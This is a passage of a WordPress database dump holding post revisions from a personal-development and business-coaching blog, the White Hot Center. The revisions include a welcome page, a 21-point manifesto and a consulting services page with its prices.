#ff6600;">mastery of effective marketing and business development strategies to grow your business success doing exactly what you love for clients and customers who love you– and as a result, are delighted to show their appreciation by paying the premium fees your products, unique talents and expertise command and deserve.</span></h2>\r\n<h2><span style="color: #ff6600;">lifestyle design and personal effectiveness mastery to rise above the daily complexities your personal and business growth creates.</span></h2>\r\n<h2><span style="color: #ff6600;">enjoying more free time for rest and rejuvenation of your mind, body and spirit– not to mention more time for your family and friends, and to pursue your life''s other creative passions.</span></h2>\r\n<h2><span style="color: #ff6600;">more money to ever expand your contributions and legacy to the world.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">a life of greater joy, contribution, meaning and significance.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong>A little about me.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a creative entrepreneur, designer, writer, creative director, brand strategy consultant serving global companies and small start-ups alike. My expertise helps business leaders discover their unique voice and value proposition, and create more compelling marketing innovations and engaging experiences that influence their impact in the marketplace.  You can learn about my expertise in consumer products marketing at<a href="www.pullinc.com" target="_blank"><strong> PULL Brand Innovation.</strong></a>\r\n\r\nHere on the White Hot Center, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and demand generation.\r\n<h2><span style="color: #808080;">It''s my intention to have the White Hot Center be your go-to source of inspiration and innovation to help you tap into the power of your own creative source of competitive advantage– your white hot center!</span></h2>\r\nI''m confident you would agree, nothing is more satisfying and fulfilling than experiencing your possibilities become achievements. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you are burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-01-02 12:19:44', '2011-01-02 19:19:44', '', 172, 'http://www.whitehotcenter.com/2011/01/02/172-revision-95/', 0, 'revision', '', 0),
(1428, 2, '2010-12-27 16:57:06', '2010-12-27 23:57:06', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious.  These guiding principles form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in every area of your life.</span></h2>\r\n<h2><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em></em></span><span style="color: #ff6600;"><em>\r\nthe essence of all creation begins with your thoughts.</em></span></h2>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><span style="color: #ff6600;"><em>\r\nnever desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em></em></span><span style="color: #ff6600;"><em>\r\nmeaning + contribution = a life of significance.</em></span></h2>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\nthere is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\nforget the past, the future is right now!\r\n</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\ndo everything in an easy and relaxed manner.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\ndon’t be afraid to put your own “dent in the universe”.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\nit''s all about the quality of your presence.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span><span style="color: #ff6600;"><em>\r\nthe ultimate competitive advantage and the key to wealth.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\nget this reversed and it’s game over!</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\ndoing good things for people is good business.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\nIt’s all about them not you.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\nfollow your heart, there is no better alternative.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\nplay aimlessly in your creative imagination.\r\n</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\ndiscover your genius, delegate everything else.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\nthe world moves to fast for one mind – seek collaborators.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\nit will put you to sleep!</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\nembrace risk like your lover.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\nsay no often and mean it.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\nelevate everyone you come into contact with.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\nappreciation + service =  abundance.</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2010-12-27 16:57:06', '2010-12-27 23:57:06', '', 136, 'http://www.whitehotcenter.com/2010/12/27/136-revision-39/', 0, 'revision', '', 0),
(1430, 2, '2011-01-02 12:33:18', '2011-01-02 19:33:18', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious.  These guiding principles form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in every area of your life.</span></h2>\r\n<h2><strong></strong><strong>1 as you think, so it is</strong><span style="color: #ff6600;"> </span><span style="color: #ff6600;"> </span><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nthe essence of all creation begins with your thoughts.</span></em></span></h2>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</span></em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">meaning + contribution = a life of significance.</span></em></span></h2>\r\n<h1><span style="color: #808080;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, the future is right now!</span>\r\n</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key to wealth.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like your lover.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2011-01-02 12:33:18', '2011-01-02 19:33:18', '', 136, 'http://www.whitehotcenter.com/2011/01/02/136-revision-41/', 0, 'revision', '', 0),
(1429, 2, '2011-01-02 12:32:17', '2011-01-02 19:32:17', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious.  These guiding principles form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in every area of your life.</span></h2>\r\n<h1><strong>1\r\n</strong></h1>\r\n<h2><strong>as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"> </span><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nthe essence of all creation begins with your thoughts.</span></em></span></h2>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</span></em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">meaning + contribution = a life of significance.</span></em></span></h2>\r\n<h1><span style="color: #808080;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, the future is right now!</span>\r\n</em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key to wealth.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h2>\r\n<h2><span style="color: #808080;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like your lover.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2011-01-02 12:32:17', '2011-01-02 19:32:17', '', 136, 'http://www.whitehotcenter.com/2011/01/02/136-revision-40/', 0, 'revision', '', 0),
(1432, 2, '2011-01-02 15:54:13', '2011-01-02 22:54:13', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nMy purpose is to inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and to owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy, and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the source code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific business development and marketing issue that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals. Here''s what you''ll get:\r\n\r\n<strong>Through innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. </strong>\r\n\r\n<strong>With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we will create specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and customers.</strong>\r\n\r\n<strong>Increased awareness of the entrepreneur’s abundance mindset, and the practices that make an extraordinary leader, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience of doing business with you. And as a result, happily exchange higher sums of money to show their appreciation for the value you are creating for them.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+ USD\r\nThe duration of this consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\nI provide on-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and mostly virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly for a minimum period of three (3) months.</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-02 15:54:13', '2011-01-02 22:54:13', '', 138, 'http://www.whitehotcenter.com/2011/01/02/138-revision-125/', 0, 'revision', '', 0);
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(1433, 2, '2011-01-02 15:57:02', '2011-01-02 22:57:02', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nMy purpose is to inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and to owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy, and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the source code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific business development and marketing issue that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen:</h2>\r\n<strong>Through innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in your business. </strong>\r\n\r\n<strong>With you and your team, we develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we will create specific recommendations and strategic imperatives to improve the effectiveness of your brand identity, marketing, and communications at every touch point of interaction with your clients and 